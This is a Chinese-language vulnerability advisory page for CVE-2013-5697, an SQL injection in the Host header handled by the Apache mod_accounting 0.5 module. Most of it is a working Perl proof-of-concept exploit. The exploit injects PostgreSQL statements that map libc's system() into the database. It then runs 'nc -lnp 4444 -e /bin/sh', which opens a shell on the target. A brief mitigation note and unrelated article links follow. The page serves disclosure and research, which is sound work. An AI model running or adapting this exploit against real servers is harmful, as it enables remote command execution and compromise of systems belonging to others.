漏洞版本:

mod_accounting 0.5

漏洞描述:

BUGTRAQ  ID: 62677
CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的流量计费模块,该模块使用数据记录流量,支持的数据库类型包括MySQL及PostgreSQL。 mod_accounting 0.5模块在Host报文头中存在SQL注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权数据库操作。该漏洞源于用户提供的HTTP报文头未经过滤即用在查询内。该模块使用了简单的字符串串联来修改已定义查询内的占位符,然后再发送到数据库内。该代码位于mod_accounting.c内。

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. #!/usr/bin/perl
  2. # PoC of blind SQL injection in the mod_accounting/0.5 Apache module
  3. # Injection can occur via the Host header
  4. # As the injection occurs in a user defined insert statement a bit of trial
  5. and error is required
  6. # Database operations occurs asyncronous to page response so timing attacks
  7. wont work
  8. # This one is completely blind
  9. # DB can be mysql or postgres, this PoC only covers postgres
  10. # PoC executes netcat to listen on port 4444 (requires dba privileges)
  11. use IO::Socket::INET;
  12. print"#----------------------------------------------#\n";
  13. print"| mod_accounting/0.5 PoC exploit by \ () Wireghoul |\n";
  14. print"| www.justanotherhacker.com |\n";
  15. print"#----------Command execution via SQLi----------#\n";
  16. print"[*] Enumerating blind injection vectors:\n";
  17. my@endings=("'));",'"));',"));","');",'");',");","';",'";',";");
  18. # These should terminate most insert statements
  19. #my @endings = ( "');" );
  20. my $shell ='nc -lnp 4444 -e /bin/sh';
  21. my $cnt =0;
  22. my $content ="CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
  23. '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
  24. foreach $end (@endings){
  25. $cnt++;
  26. my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]")ordie"Unable to
  27. connect to $ARGV[0]:$ARGV[1]: $!\n";
  28. my $str ="GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
  29. \r\n\r\n";# from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
  30. \r\n\r\n";
  31. print "[-]Trying $end\n";
  32. print $sock $str;
  33. #print "Sent $end\n";
  34. close ($sock);
  35. }
  36. print "[*]Done, remote server should have executed $shell\n";

Sebug安全建议:

临时解决方法:

该模块已经不再提供支持,可以根据需要,停止使用该模块。

厂商补丁:

mod_accounting
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://sourceforge.net/projects/mod-acct/files/

Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)的更多相关文章

  1. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  2. PHPCMS 2008 SQL注入漏洞

    漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...

  3. WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞

    漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...

  4. WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞

    漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...

  5. RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具

    无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...

  6. Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴

    本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...

  7. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  8. SQL 注入漏洞

    首先要知道sql注入形成的原因:用户输入的数据被sql解释器执行 sql注入又分:数字型,字符型,cookie 注入,post注入,延时注入,搜索注入,base64注入 如何甄别一个模块是否有sql注 ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

随机推荐

  1. ios NSAssert趣谈

    Apple 官网介绍 NSAssert 的定义如下: #define NSAssert(condition, desc, ...) \ do { \ __PRAGMA_PUSH_NO_EXTRA_AR ...

  2. webapi之jsonp调用

    定义跨域handle public class CorsHandler : DelegatingHandler { const string Origin = "Origin"; ...

  3. java新手笔记6 示例for

    1.计算天数 /*给定一个年月日,计算是一年的第几天 (如输入:2 15 结果:第46天) */ public class Demo1 { public static void main(String ...

  4. 转JSONObject put,accumulate,element的区别

        public Object put (Object key, Object value) 将value映射到key下.如果此JSONObject对象之前存在一个value在这个key下,当前的 ...

  5. Kali linux网络配置

    Kali linux 安装完成后,需要对其网络进行配置.使用DHCP服务是配置网卡最简单的方法之一,但渗透测试时通常不会这样做,因为系统会被记录在DHCP服务器的数据库中. 1  动态DHCP方式 配 ...

  6. Python:如何得到Popen的输出?

    from:http://www.cnblogs.com/bluescorpio/archive/2010/05/04/1727020.html 最近在用subprocess中的Popen做个磁盘监控小 ...

  7. 一个关于hightcharts的x轴刻度问题

    最近做公司的一个报表系统,需要折线图,圆柱图形等来进行统计,经过最后考察,决定用当下较为流行的Highchart插件来进行实现,highchart用起来非常方便,只用对后台传过来的数据进行简单的处理后 ...

  8. php错误捕捉

    <?php //禁止错误输出 error_reporting(0); //设置错误处理器 set_error_handler('errorHandler'); register_shutdown ...

  9. div+css3实现漂亮的多彩标签云,鼠标移动会有动画

    div+css3实现漂亮的多彩标签云,鼠标移动会有动画 点击运行效果 <style> .dict { margin: 20px 0;clear:both ;text-align:left; ...

  10. yii2源码学习笔记(十)

    继续了解Application. /** * Registers the errorHandler component as a PHP error handler. * 注册errorHandler ...